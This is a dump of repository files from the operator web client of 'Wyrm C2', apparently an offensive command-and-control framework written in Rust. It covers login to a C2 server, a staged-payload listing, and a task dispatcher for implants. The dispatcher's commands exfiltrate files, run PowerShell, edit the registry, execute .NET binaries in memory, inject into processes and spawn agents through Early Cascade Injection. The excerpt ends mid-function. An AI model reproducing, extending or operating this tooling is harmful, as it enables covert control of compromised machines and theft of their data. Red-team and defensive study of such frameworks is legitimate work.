aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n        <span class=\"navbar-toggler-icon\"></span>\n        </button>\n\n        <div class=\"collapse navbar-collapse\" id=\"navbarSupportedContent\">\n        <ul class=\"navbar-nav me-auto mb-2 mb-lg-0\">\n            <li class=\"nav-item\">\n                <a  class=\"nav-link\"\n                    class=(\"active\", move || url_path.get().eq(\"dashboard\"))\n                    aria-current=\"page\"\n                    href=\"/dashboard\">\n                    Dashboard\n                </a>\n            </li>\n            <li class=\"nav-item\">\n                <a  class=\"nav-link\"\n                    class=(\"active\", move || url_path.get().eq(\"file_upload\"))\n                    aria-current=\"page\"\n                    href=\"/file_upload\">\n                    Upload\n                </a>\n            </li>\n            <li class=\"nav-item dropdown\">\n            <a class=\"nav-link dropdown-toggle\"\n                    href=\"#\"\n                    role=\"button\"\n                    data-bs-toggle=\"dropdown\"\n                    aria-expanded=\"false\">\n                Preparation\n            </a>\n            <ul class=\"dropdown-menu\">\n                <li>\n                    <a  class=\"dropdown-item\"\n                        class=(\"active\", move || url_path.get().eq(\"build_profiles\"))\n                        href=\"/build_profiles\">\n                    Build all agents\n                    </a>\n                </li>\n                <li><a class=\"dropdown-item disabled\" href=\"#\">Website clone</a></li>\n                <li><hr class=\"dropdown-divider\" /></li>\n                <li>\n                    <a  class=\"dropdown-item\"\n                        class=(\"active\", move || url_path.get().eq(\"staged_resources\"))\n                        href=\"/staged_resources\">\n                        View staged resources\n                    </a>\n                </li>\n            </ul>\n            </li>\n            <li class=\"nav-item\">\n                <a class=\"nav-link\" href=\"/logout\">Logout</a>\n            </li>\n        </ul>\n        </div>\n    </div>\n    </nav>\n\n    }\n}\n\n/// Extracts the first non-empty path segment from the current browser URL.\nfn extract_path() -> Option<String> {\n    let window = web_sys::window()?;\n    let pathname = window.location().pathname().ok()?;\n\n    let first_segment = pathname\n        .split('/')\n        .find(|s| !s.is_empty())\n        .unwrap_or(\"\")\n        .to_string();\n\n    Some(first_segment)\n}\n\nfn create_url_path_signal() -> RwSignal<String> {\n    let initial = extract_path().unwrap_or_default();\n    let url_path = RwSignal::new(initial);\n\n    if let Some(win) = web_sys::window() {\n        if let Some(doc) = win.document() {\n            if let Ok(script) = doc.create_element(\"script\") {\n                script.set_inner_html(r#\"\n                    (function(){\n                        if (window.__wyrm_history_hook_installed) return;\n                        const _push = history.pushState;\n                        history.pushState = function(){ _push.apply(this, arguments); window.dispatchEvent(new Event('locationchange')); };\n                        const _replace = history.replaceState;\n                        history.replaceState = function(){ _replace.apply(this, arguments); window.dispatchEvent(new Event('locationchange')); };\n                        window.addEventListener('popstate', function(){ window.dispatchEvent(new Event('locationchange')); });\n                        window.__wyrm_history_hook_installed = true;\n                    })();\n                \"#);\n\n                if let Some(head) = doc.head() {\n                    let _ = head.append_child(&script);\n                }\n            }\n        }\n\n        let url_path_clone = url_path;\n        let closure =\n            leptos::wasm_bindgen::closure::Closure::wrap(Box::new(move |_ev: web_sys::Event| {\n                let new = extract_path().unwrap_or_else(|| \"\".to_string());\n                url_path_clone.set(new);\n            }) as Box<dyn FnMut(_)>);\n\n        let _ = win\n            .add_event_listener_with_callback(\"locationchange\", closure.as_ref().unchecked_ref());\n\n        closure.forget();\n    }\n\n    url_path\n}\n"
  },
  {
    "path": "client/src/pages/login.rs",
    "content": "use leptos::prelude::*;\nuse leptos_router::hooks::use_navigate;\nuse shared::tasks::AdminCommand;\n\nuse crate::{\n    controller::{BodyClass, apply_body_class, store_item_in_browser_store},\n    models::{C2_STORAGE_KEY, LoginData},\n    net::{ApiError, C2Url, IsTaskingAgent, api_request},\n};\n\n#[component]\npub fn Login() -> impl IntoView {\n    let navigate = use_navigate();\n\n    let c2_addr = RwSignal::new(\"\".to_string());\n    let username = RwSignal::new(\"\".to_string());\n    let password = RwSignal::new(\"\".to_string());\n    let login_data = RwSignal::new(LoginData::default());\n\n    // Inner HTML container for the error box\n    let login_box_html = RwSignal::new(\"\".to_string());\n\n    let submit_page = Action::new_local(|input: &LoginData| {\n        let input = input.clone();\n        async move {\n            api_request(\n                AdminCommand::Login,\n                &IsTaskingAgent::No,\n                Some((input.username, input.password)),\n                C2Url::Custom(input.c2_addr),\n                None,\n            )\n            .await\n        }\n    });\n    let submit_value = submit_page.value();\n\n    Effect::new(move |_| {\n        submit_value.with(|inner| {\n            if let Some(response) = inner {\n                match response {\n                    Ok(_) => {\n                        store_item_in_browser_store(\n                            C2_STORAGE_KEY, \n                            &c2_addr.get()\n                        ).expect(\"could not store c2 url\");\n\n                        navigate(\"/dashboard\", Default::default());\n                    }\n                    Err(e) => match e {\n                        ApiError::Reqwest(e) => {\n                            login_box_html.set(\n                                format!(r#\"<div class=\"mt-3 alert alert-danger\" role=\"alert\">Error making request: {}</div>\"#, e)\n                            );\n                        },\n                        ApiError::BadStatus(code, _) => {\n                            if *code == 404 {\n                                login_box_html.set(r#\"<div class=\"mt-3 alert alert-danger\" role=\"alert\">Invalid credentials</div>\"#.to_string());\n                            } else {\n                                login_box_html.set(format!(r#\"<div class=\"mt-3 alert alert-danger\" role=\"alert\">Error making request: {}</div>\"#, e));\n                            }\n                        },\n                    },\n                }\n            }\n        })\n    });\n\n    apply_body_class(BodyClass::Login);\n\n    view! {\n        <div class=\"login-container\">\n        <div class=\"grid text-center\">\n\n            <form\n                on:submit=move |ev| {\n                    ev.prevent_default(); // dont reload\n\n                    login_data.set(LoginData {\n                        c2_addr: c2_addr.get(),\n                        username: username.get(),\n                        password: password.get(),\n                    });\n\n                    submit_page.dispatch(login_data.get());\n                }\n                autocomplete=\"off\"\n                class=\"form-signin\">\n\n                <img class=\"mb-4 logo\" src=\"/static/wyrm_portrait.png\" alt=\"\" />\n                <h1 class=\"h3 mb-3 font-weight-normal\">\n                    \"Please sign in\"\n                </h1>\n\n                <label for=\"c2\" class=\"sr-only\">C2 address (and port if non-standard)</label>\n                <input\n                    bind:value=c2_addr\n                    type=\"url\"\n                    id=\"c2\"\n                    name=\"c2\"\n                    autocomplete=\"url\"\n                    class=\"form-control\"\n                    placeholder=\"https://myc2.com\" \n                    required \n                    autofocus />\n\n                <label for=\"username\" class=\"sr-only\">Username</label>\n                <input\n                    bind:value=username\n                    type=\"text\"\n                    id=\"username\"\n                    name=\"login_user\"\n                    autocomplete=\"off\"\n                    data-1p-ignore\n                    data-bwignore\n                    data-lpignore\n                    class=\"form-control\" \n                    placeholder=\"Username\" \n                    required />\n\n                <label for=\"password\" class=\"sr-only\">Password</label>\n                <input\n                    bind:value=password\n                    type=\"password\"\n                    id=\"password\"\n                    name=\"login_pass\"\n                    data-1p-ignore\n                    data-bwignore\n                    data-lpignore\n                    autocomplete=\"off\"\n                    class=\"form-control\" \n                    placeholder=\"Password\" \n                    required />\n\n                <button\n                    type=\"submit\"\n                    class=\"btn btn-lg btn-primary btn-block\">\n                    \"Sign in\"\n                </button>\n\n                <div id=\"login-box\" inner_html=login_box_html></div>\n\n            </form>\n\n            <footer>\n                <p class=\"mt-5 mb-3\">\n                    \"© Wyrm C2 \"\n                    <a href=\"https://github.com/0xflux/\" target=\"_blank\">\n                        0xflux\n                    </a>\n                </p>\n            </footer>\n        </div>\n        </div>\n    }\n}\n"
  },
  {
    "path": "client/src/pages/logout.rs",
    "content": "use leptos::{component, prelude::*};\nuse leptos_router::hooks::use_navigate;\nuse shared::tasks::AdminCommand;\nuse web_sys::{js_sys::Reflect, window};\n\nuse crate::net::{C2Url, IsTaskingAgent, api_request};\n\n#[component]\npub fn Logout() -> impl IntoView {\n    let send_request = Action::new_local(|_: &()| async move {\n        api_request(\n            AdminCommand::None,\n            &IsTaskingAgent::No,\n            None,\n            C2Url::Standard,\n            Some(\"logout_admin\"),\n        )\n        .await\n    });\n    let logout_response = send_request.value();\n\n    Effect::new(move |_| {\n        logout_response.with(|inner| {\n            if let Some(res) = inner {\n                match res {\n                    Ok(_) => (),\n                    Err(e) => {\n                        leptos::logging::error!(\"Error in response: {e}\");\n                    }\n                }\n\n                // Clear the session cookie by setting it to expire in the past\n                if let Some(window) = window() {\n                    if let Some(doc) = window.document() {\n                        let cookie_str = \"session=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;\";\n                        if let Ok(val) = Reflect::set(&doc, &\"cookie\".into(), &cookie_str.into()) {\n                            if !val {\n                                leptos::logging::error!(\"Failed to set cookie to clear 'session'\");\n                            }\n                        }\n                    }\n                }\n\n                let navigate = use_navigate();\n                navigate(\"/\", Default::default());\n            }\n        })\n    });\n\n    Effect::new(move |_| {\n        send_request.dispatch(());\n    });\n\n    view! {}\n}\n"
  },
  {
    "path": "client/src/pages/mod.rs",
    "content": "pub mod build_profiles;\npub mod dashboard;\npub mod file_upload;\npub mod logged_in_headers;\npub mod login;\npub mod logout;\npub mod staged_resources;\n"
  },
  {
    "path": "client/src/pages/staged_resources.rs",
    "content": "use leptos::{component, prelude::*};\nuse shared::StagedResourceDataNoSqlx;\nuse shared::tasks::{AdminCommand, WyrmResult};\n\nuse crate::{\n    net::{C2Url, IsTaskingAgent, api_request},\n    pages::logged_in_headers::LoggedInHeaders,\n};\n\n#[derive(Clone, Debug)]\npub struct StagedResourcesRowInner {\n    download_name: String,\n    uri: String,\n    num_downloads: i64,\n}\n\n#[component]\npub fn StagedResourcesPage() -> impl IntoView {\n    let staged_rows: RwSignal<Vec<StagedResourcesRowInner>> = RwSignal::new(vec![]);\n\n    let fetch_resources = Action::new_local(|_: &()| async move {\n        api_request(\n            AdminCommand::ListStagedResources,\n            &IsTaskingAgent::No,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await\n    });\n    let staged_resources_response = fetch_resources.value();\n\n    Effect::new(move |_| {\n        staged_resources_response.with(|inner| {\n            if let Some(res) = inner {\n                match res {\n                    Ok(res) => {\n                        let inner: WyrmResult<Vec<StagedResourceDataNoSqlx>> =\n                            serde_json::from_slice(&res).unwrap();\n\n                        let inner = inner.unwrap();\n\n                        {\n                            let mut guard = staged_rows.write();\n                            for line in inner {\n                                (*guard).push(StagedResourcesRowInner {\n                                    download_name: line.pe_name,\n                                    uri: line.staged_endpoint,\n                                    num_downloads: line.num_downloads,\n                                });\n                            }\n                        }\n                    }\n                    Err(e) => {\n                        leptos::logging::error!(\"Failed to get response for staged data. {e}\")\n                    }\n                }\n            }\n        })\n    });\n\n    Effect::new(move |_| {\n        fetch_resources.dispatch(());\n    });\n\n    view! {\n        <LoggedInHeaders />\n\n        <div class=\"container-fluid py-4 app-page\">\n            <div class=\"row mb-4\">\n                <div class=\"col-12 text-center\">\n                    <h2 class=\"mb-2 fw-bold\">Staged resources</h2>\n                    <p>Here you can view resources you have staged on the C2 and their URI.\n                    </p>\n                </div>\n            </div>\n\n            <div class=\"container\">\n                <div class=\"table-responsive\">\n                    <table id=\"staged-resources-tbl\" class=\"table table-sm align-middle\">\n                        <thead class=\"table\">\n                            <tr>\n                                <th class=\"col\">Download name</th>\n                                <th class=\"col\">URI</th>\n                                <th class=\"col\"># downloads</th>\n                            </tr>\n                        </thead>\n\n                        <tbody id=\"staged-resource-rows\">\n                            <For\n                                each=move || staged_rows.get()\n                                key=|row: &StagedResourcesRowInner| row.download_name.clone()\n                                children=move |row: StagedResourcesRowInner| {\n                                    view! {\n                                        <tr>\n                                            <td class=\"col\">{ row.download_name }</td>\n                                            <td class=\"col\">{ row.uri }</td>\n                                            <td class=\"col\">{ row.num_downloads }</td>\n                                        </tr>\n                                    }\n                                }\n                            />\n                            <Show when=move || staged_rows.get().is_empty()>\n                                <tr>\n                                    <td class=\"col\">You currently have no staged resources.</td>\n                                    <td class=\"col\"></td>\n                                    <td class=\"col\"></td>\n                                </tr>\n                            </Show>\n                        </tbody>\n\n\n                    </table>\n                </div>\n            </div>\n\n        </div>\n    }\n}\n"
  },
  {
    "path": "client/src/tasks/mod.rs",
    "content": "pub mod task_dispatch;\npub mod task_impl;\nmod utils;\n"
  },
  {
    "path": "client/src/tasks/task_dispatch.rs",
    "content": "use std::{collections::HashMap, process::exit};\n\nuse chrono::Utc;\nuse leptos::prelude::{RwSignal, Update, Write, use_context};\nuse thiserror::Error;\n\nuse crate::{\n    models::dashboard::{Agent, TabConsoleMessages},\n    net::{ApiError, IsTaskingAgent, IsTaskingAgentErr},\n    tasks::task_impl::{\n        FileOperationTarget, RegOperationDelQuery, TaskDispatchError, change_directory,\n        clear_terminal, copy_file, dir_listing, dotex, export_db, file_dropper, inject, kill_agent,\n        kill_process, list_processes, move_file, pillage, pull_file, pwd, reg_add, reg_query_del,\n        remove_agent, remove_file, run_powershell_command, run_static_wof, set_sleep, show_help,\n        show_help_for_command, show_server_time, spawn, unknown_command, whoami,\n    },\n};\n\n#[derive(Error, Debug)]\npub enum TaskingError {\n    #[error(\"Error deserialising data {0}.\")]\n    SerdeError(#[from] serde_json::Error),\n\n    #[error(\"API error {0}.\")]\n    ApiError(#[from] ApiError),\n\n    #[error(\"Error trying to get agent to task.\")]\n    IsTaskingAgentErr(#[from] IsTaskingAgentErr),\n\n    #[error(\"Dispatch error: {0}\")]\n    TaskDispatchError(#[from] TaskDispatchError),\n}\n\npub type DispatchResult = Result<Option<Vec<u8>>, TaskingError>;\n\n/// Entry point into dispatching tasks on the C2\npub async fn dispatch_task(input: String, agent: IsTaskingAgent) -> DispatchResult {\n    // Collect each token individually\n    let input_cl = input.clone();\n    let tokens: Vec<&str> = input_cl.split_whitespace().collect();\n    let result = dispatcher(tokens, input, agent.clone()).await;\n\n    // Handle the error output for the user\n    if let Err(ref e) = result {\n        if let IsTaskingAgent::Yes(agent_id) = agent {\n            let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> =\n                use_context().expect(\"could not get RwSig connected_agents\");\n\n            let mut guard = connected_agents.write();\n            if let Some(agent) = (*guard).get_mut(&agent_id) {\n                agent.update(|lock| {\n                    lock.output_messages.push(TabConsoleMessages {\n                        completed_id: 0,\n                        event: \"[Error dispatching task]\".to_string(),\n                        time: Utc::now().to_string(),\n                        messages: vec![e.to_string()],\n                    })\n                });\n            }\n        }\n    }\n\n    result\n}\n\nasync fn dispatcher(tokens: Vec<&str>, raw_input: String, agent: IsTaskingAgent) -> DispatchResult {\n    if tokens.is_empty() {\n        return Ok(None);\n    }\n\n    //\n    // Important note on usage:\n    //\n    // If you want to tokenise input where there could be multiple spaces and other tokens such as\n    // \", then in the below rather than passing the pattern (which is an array of single chars), pass\n    // the `raw_input` param which contains the unmodified, unflattened, and un-tokenised version of what\n    // the user passed in.\n    //\n\n    match tokens.as_slice() {\n        [\"\"] | [\" \"] => Ok(None),\n        // generic\n        [\"exit\"] | [\"quit\"] => exit(0),\n        [\"clear\"] | [\"cls\"] => clear_terminal(&agent).await,\n        [\"servertime\"] => show_server_time().await,\n        [\"help\"] => show_help(&agent).await,\n        [\"help\", arg] => show_help_for_command(&agent, arg).await,\n\n        // on &agent\n        [\"export_db\"] => export_db(&agent).await,\n        [\"set\", \"sleep\", time] => set_sleep(time, &agent).await,\n        [\"ps\"] => list_processes(&agent).await,\n        [\"cd\", pat @ ..] => change_directory(pat, &agent).await,\n        [\"pwd\"] => pwd(&agent).await,\n        [\"kill_agent\" | \"ka\"] => kill_agent(&agent).await,\n        [\"kill\", pid] => kill_process(&agent, pid).await,\n        [\"remove_agent\" | \"ra\"] => remove_agent(&agent).await,\n        [\"ls\"] => dir_listing(&agent).await,\n        [\"pillage\"] => pillage(&agent).await,\n        [\"run\", args @ ..] => run_powershell_command(args, &agent).await,\n        [\"drop\", args @ ..] => file_dropper(args, &agent).await,\n        [\"cp\", _p @ ..] | [\"copy\", _p @ ..] => copy_file(raw_input, &agent).await,\n        [\"mv\", _p @ ..] | [\"move\", _p @ ..] => move_file(raw_input, &agent).await,\n        [\"rm\", _p @ ..] => remove_file(raw_input, FileOperationTarget::File, &agent).await,\n        [\"rm_d\", _p @ ..] => remove_file(raw_input, FileOperationTarget::Dir, &agent).await,\n        [\"pull\", _p @ ..] => pull_file(raw_input, &agent).await,\n        [\"reg\", \"query\", _pat @ ..] => {\n            reg_query_del(raw_input, &agent, RegOperationDelQuery::Query).await\n        }\n        [\"reg\", \"add\", _p @ ..] => reg_add(raw_input, &agent).await,\n        [\"reg\", \"del\", _p @ ..] => {\n            reg_query_del(raw_input, &agent, RegOperationDelQuery::Delete).await\n        }\n        [\"dotex\", _p @ ..] => dotex(raw_input, &agent).await,\n        [\"whoami\"] => whoami(&agent).await,\n        [\"spawn\", _p @ ..] => spawn(raw_input, &agent).await,\n        [\"wof\", _p @ ..] => run_static_wof(&agent, raw_input).await,\n        [\"inject\", _p @ ..] => inject(&agent, raw_input).await,\n        _ => unknown_command(),\n    }\n}\n"
  },
  {
    "path": "client/src/tasks/task_impl.rs",
    "content": "use std::{collections::HashMap, mem::take};\n\nuse chrono::{DateTime, Utc};\nuse leptos::prelude::{Read, RwSignal, Update, Write, use_context};\nuse shared::{\n    task_types::{RegAddInner, RegQueryInner, RegType},\n    tasks::{\n        AdminCommand, DELIM_FILE_DROP_METADATA, DotExInner, FileDropMetadata, InjectInnerForAdmin,\n        InjectInnerForPayload, WyrmResult,\n    },\n};\nuse thiserror::Error;\n\nuse crate::{\n    controller::{delete_item_in_browser_store, wyrm_chat_history_browser_key},\n    models::dashboard::{ActiveTabs, Agent, TabConsoleMessages},\n    net::{ApiError, C2Url, IsTaskingAgent, IsTaskingAgentErr, api_request},\n    tasks::{\n        task_dispatch::{DispatchResult, TaskingError},\n        utils::{DiscardFirst, split_string_slices_to_n, validate_reg_type},\n    },\n};\n\n#[derive(Debug, Error)]\npub enum TaskDispatchError {\n    #[error(\"API Error {0}.\")]\n    Api(#[from] ApiError),\n    #[error(\"Bad tokens in input {0}\")]\n    BadTokens(String),\n    #[error(\"Agent ID not present in task dispatch\")]\n    AgentIdMissing(#[from] IsTaskingAgentErr),\n    #[error(\"Failed to serialise/deserialise data. {0}\")]\n    DeserialisationError(#[from] serde_json::Error),\n}\n\npub async fn list_processes(agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    Ok(Some(\n        api_request(\n            AdminCommand::ListProcesses,\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\npub async fn change_directory(new_dir: &[&str], agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    let new_dir = new_dir.join(\" \").trim().to_string();\n\n    Ok(Some(\n        api_request(\n            AdminCommand::Cd(new_dir),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\npub async fn kill_agent(agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    let _ = api_request(AdminCommand::KillAgent, agent, None, C2Url::Standard, None).await?;\n    let tabs: RwSignal<ActiveTabs> =\n        use_context().expect(\"could not get tabs context in kill_agent()\");\n\n    // Remove the tab from the GUI - doing so will autosave the chat\n    if let IsTaskingAgent::Yes(agent_id) = agent {\n        tabs.update(|t| t.remove_tab(agent_id));\n    }\n\n    Ok(None)\n}\n\npub async fn kill_process(agent: &IsTaskingAgent, pid: &&str) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    // Validate, even through we pass a String - check it client side\n    let pid_as_int: i32 = pid.parse().unwrap_or(0);\n    if pid.is_empty() || pid_as_int == 0 {\n        return Err(TaskingError::TaskDispatchError(\n            TaskDispatchError::BadTokens(\"No pid or non-numeric supplied.\".into()),\n        ));\n    }\n\n    Ok(Some(\n        api_request(\n            AdminCommand::KillProcessById(pid.to_string()),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\n/// Dispatching function for instructing the agent to copy a file.\n///\n/// # Args\n/// - `from`: Where to copy from\n/// - `to`: Where to copy to`\npub async fn copy_file(raw_input: String, agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    let (from, to) = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop) {\n        Some(mut inner) => {\n            let from = take(&mut inner[0]);\n            let to = take(&mut inner[1]);\n            (from, to)\n        }\n        None => {\n            return Err(TaskingError::TaskDispatchError(\n                TaskDispatchError::BadTokens(\"Could not get data from tokens in copy_file.\".into()),\n            ));\n        }\n    };\n\n    Ok(Some(\n        api_request(\n            AdminCommand::Copy((from, to)),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\n/// Dispatching function for instructing the agent to copy a file.\n///\n/// # Args\n/// - `from`: Where to copy from\n/// - `to`: Where to copy to`\npub async fn move_file(raw_input: String, agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n    let (from, to) = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop) {\n        Some(mut inner) => {\n            let from = take(&mut inner[0]);\n            let to = take(&mut inner[1]);\n            (from, to)\n        }\n        None => {\n            return Err(TaskingError::TaskDispatchError(\n                TaskDispatchError::BadTokens(\"Could not get data from tokens in move_file.\".into()),\n            ));\n        }\n    };\n\n    Ok(Some(\n        api_request(\n            AdminCommand::Move((from.to_string(), to.to_string())),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\n#[derive(Copy, Clone)]\npub enum FileOperationTarget {\n    Dir,\n    File,\n}\n\npub async fn remove_file(\n    raw_input: String,\n    target: FileOperationTarget,\n\n    agent: &IsTaskingAgent,\n) -> DispatchResult {\n    agent.has_agent_id()?;\n    let target_path = match split_string_slices_to_n(1, &raw_input, DiscardFirst::Chop) {\n        Some(mut inner) => take(&mut inner[0]),\n        None => {\n            return Err(TaskingError::TaskDispatchError(\n                TaskDispatchError::BadTokens(\"Could not get data from tokens in move_file.\".into()),\n            ));\n        }\n    };\n\n    let result = match target {\n        FileOperationTarget::Dir => {\n            api_request(\n                AdminCommand::RmDir(target_path),\n                agent,\n                None,\n                C2Url::Standard,\n                None,\n            )\n            .await?\n        }\n        FileOperationTarget::File => {\n            api_request(\n                AdminCommand::RmFile(target_path),\n                agent,\n                None,\n                C2Url::Standard,\n                None,\n            )\n            .await?\n        }\n    };\n\n    Ok(Some(result))\n}\n\n/// Pull a single file from the target machine\npub async fn pull_file(target: String, agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    if target.is_empty() {\n        leptos::logging::error!(\"Pull command failed - Please specify a target file\");\n    }\n\n    let target = match split_string_slices_to_n(1, &target, DiscardFirst::Chop) {\n        Some(mut inner) => take(&mut inner[0]),\n        None => {\n            return Err(TaskingError::TaskDispatchError(\n                TaskDispatchError::BadTokens(\"Could not get data from tokens in pull_file.\".into()),\n            ));\n        }\n    };\n\n    Ok(Some(\n        api_request(\n            AdminCommand::Pull(target.to_string()),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\npub async fn remove_agent(agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n    let _ = api_request(\n        AdminCommand::RemoveAgentFromList,\n        agent,\n        None,\n        C2Url::Standard,\n        None,\n    )\n    .await?;\n\n    // Remove agent from connected_agents\n    let tabs: RwSignal<ActiveTabs> =\n        use_context().expect(\"could not get tabs context in kill_agent()\");\n\n    if let IsTaskingAgent::Yes(agent_id) = agent {\n        tabs.update(|t| t.remove_tab(agent_id));\n    }\n\n    Ok(None)\n}\n\npub fn unknown_command() -> DispatchResult {\n    leptos::logging::log!(\n        \"Unknown command or you did not supply the correct number of arguments. Type \\\"help (command)\\\" \\\n        to see the instructions for that command.\",\n    );\n\n    Err(\n        TaskingError::TaskDispatchError(\n            TaskDispatchError::BadTokens(\n                \"Unknown command or you did not supply the correct number of arguments. Type \\\"help {command}\\\" \\\n            to see the instructions for that command.\".into()\n            )\n        )\n    )\n}\n\npub async fn set_sleep(sleep_time: &str, agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    let sleep_time: i64 = match sleep_time.parse() {\n        Ok(s) => s,\n        Err(e) => {\n            return Err(TaskingError::TaskDispatchError(\n                TaskDispatchError::BadTokens(format!(\"Could not parse new sleep time. {e}\")),\n            ));\n        }\n    };\n\n    // As on the C2 we need the sleep time to be an i64, but the implant needs it to be a u64,\n    // we want to make sure we aren't going to get any overflow behaviour which could lead to\n    // denial of service or other errors. We check the input number is not less than or = to 0.\n    // We do not need to check the upper bound because an i64 MAX will fit into a u64.\n    if sleep_time <= 0 {\n        return Err(TaskingError::TaskDispatchError(\n            TaskDispatchError::BadTokens(\"Sleep time must be greater than 1 (second)\".into()),\n        ));\n    }\n\n    Ok(Some(\n        api_request(\n            AdminCommand::Sleep(sleep_time),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\n/// Clears the terminal of the selected tab / agent for the operator. This does not clear the database.\npub async fn clear_terminal(agent: &IsTaskingAgent) -> DispatchResult {\n    if let IsTaskingAgent::Yes(agent_id) = agent {\n        let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> =\n            use_context().expect(\"could not get RwSig connected_agents\");\n\n        let mut lock = connected_agents.write();\n\n        if let Some(agent) = (*lock).get_mut(agent_id) {\n            // Clear the chat from browser store\n            let tabs: RwSignal<ActiveTabs> =\n                use_context().expect(\"could not get tabs context in CommandInput()\");\n            let lock = tabs.read();\n            let name = lock.active_id.as_ref().unwrap();\n            delete_item_in_browser_store(&wyrm_chat_history_browser_key(name));\n            // Clear chat from in memory representation\n            agent.update(|a| a.output_messages.clear());\n        } else {\n            leptos::logging::log!(\"Agent ID: {agent_id} not found when trying to clear console.\");\n        }\n    }\n\n    Ok(None)\n}\n\npub async fn pwd(agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    Ok(Some(\n        api_request(AdminCommand::Pwd, agent, None, C2Url::Standard, None).await?,\n    ))\n}\n\npub async fn export_db(agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    Ok(Some(\n        api_request(AdminCommand::ExportDb, agent, None, C2Url::Standard, None).await?,\n    ))\n}\n\npub async fn dir_listing(agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    Ok(Some(\n        api_request(AdminCommand::Ls, agent, None, C2Url::Standard, None).await?,\n    ))\n}\n\npub async fn show_server_time() -> DispatchResult {\n    let result = api_request(\n        AdminCommand::ShowServerTime,\n        &IsTaskingAgent::No,\n        None,\n        C2Url::Standard,\n        None,\n    )\n    .await?;\n\n    let deserialised_response: DateTime<Utc> = serde_json::from_slice(&result)?;\n\n    let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> =\n        use_context().expect(\"could not get RwSig connected_agents\");\n    let mut lock = connected_agents.write();\n\n    if let Some(agent) = (*lock).get_mut(\"Server\") {\n        agent.update(|guard| {\n            guard\n                .output_messages\n                .push(TabConsoleMessages::non_agent_message(\n                    \"ServerTime\".into(),\n                    deserialised_response.to_string(),\n                ))\n        });\n    }\n\n    Ok(None)\n}\n\npub async fn pillage(agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    Ok(Some(\n        api_request(\n            AdminCommand::ListUsersDirs,\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\n/// Show the help menu to the user\npub async fn show_help(agent: &IsTaskingAgent) -> DispatchResult {\n    let messages: Vec<String> = vec![\n        \"help <command>\".into(),\n        \"exit (Exit's the client)\".into(),\n        \"servertime (Shows the local time of the server)\".into(),\n        \"kill_agent | ka (terminates the agent on the endpoint)\".into(),\n        \"remove_agent | ra (removes the agent from the interface; until it reconnects)\".into(),\n        \"cls | clear (clears the terminal)\".into(),\n        \"\".into(),\n        \"export_db (will export the database to /data/exports/{agent_id})\".into(),\n        \"set sleep [time SECONDS]\".into(),\n        \"ps\".into(),\n        \"cd <relative path | absolute path>\".into(),\n        \"pwd\".into(),\n        \"ls\".into(),\n        \"cp <from> <to> | copy <from> <to> (accepts relative or absolute paths)\".into(),\n        \"mv <from> <to> | move <from> <to> (accepts relative or absolute paths)\".into(),\n        \"rm <path to file> (removes file [this command cannot remove a directory] - accepts relative or absolute paths)\".into(),\n        \"rm_d <path to dir> (removes directory - accepts relative or absolute paths)\".into(),\n        \"pull <path> (Exfiltrates a file to the C2. For more info, type help pull.)\".into(),\n        \"pillage\".into(),\n        \"run\".into(),\n        \"kill <pid>\".into(),\n        \"drop <server recognised name> <filename to drop on disk (including extension)>\".into(),\n        \"reg query <path_to_key>\".into(),\n        \"reg query <path_to_key> <value> (for more info, type help reg)\".into(),\n        \"reg add <path_to_key> <value name> <value data> <data type> (for more info, type help reg)\".into(),\n        \"reg del <path_to_key> <Optional: value name> (for more info, type help reg)\".into(),\n        \"dotex <bin> <args> (execute a dotnet binary in memory in the implant, for more info type help dotex)\".into(),\n        \"whoami (natively, without powershell/cmd, retrieves your SID, domain\\\\username and token privileges\".into(),\n        \"spawn <staged name> (spawns a new Wyrm agent through Early Cascade Injection)\".into(),\n        \"inject <staged name> <target pid>\".into(),\n        \"wof <function name> (run's a Wyrm Object File [statically linked only right now] on the agent's main thread)\".into(),\n    ];\n\n    if let IsTaskingAgent::Yes(agent_id) = agent {\n        let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> =\n            use_context().expect(\"could not get RwSig connected_agents\");\n        let mut lock = connected_agents.write();\n\n        if let Some(agent) = (*lock).get_mut(agent_id) {\n            agent.update(|guard| {\n                guard.output_messages.push(TabConsoleMessages {\n                    completed_id: 0,\n                    event: \"HelpMenu\".into(),\n                    time: \"-\".into(),\n                    messages,\n                })\n            });\n        }\n    }\n\n    Ok(None)\n}\n\n/// Shows help for a specified command where further details are available\npub async fn show_help_for_command(agent: &IsTaskingAgent, command: &str) -> DispatchResult {\n    